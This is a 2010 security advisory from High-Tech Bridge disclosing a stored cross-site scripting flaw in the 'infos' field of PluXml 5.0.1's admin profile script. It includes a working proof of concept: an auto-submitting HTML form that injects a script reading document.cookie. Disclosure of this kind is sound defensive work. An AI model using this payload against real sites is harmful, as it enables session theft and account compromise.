XSS vulnerability in PluXml

[advisory () htbridge ch]

Vulnerability ID: HTB22631
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluxml.html
Product: PluXml
Vendor: PluXml Team ( http://pluxml.org/ ) 
Vulnerable Version: 5.0.1 and probably prior versions
Vendor Notification: 29 September 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/core/admin/profil.php" script to properly sanitize user-supplied input 
in "infos" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/core/admin/profil.php"; method="post" name="main" >

<input type="hidden" name="name" value="Ildar">
<input type="hidden" name="infos" value='<script>alert(document.cookie)</script>'>
<input type="hidden" name="profil" value="Modifier votre profil">
<input type="hidden" name="password1" value="">
<input type="hidden" name="password2" value="">

</form>
<script>
document.main.submit();
</script>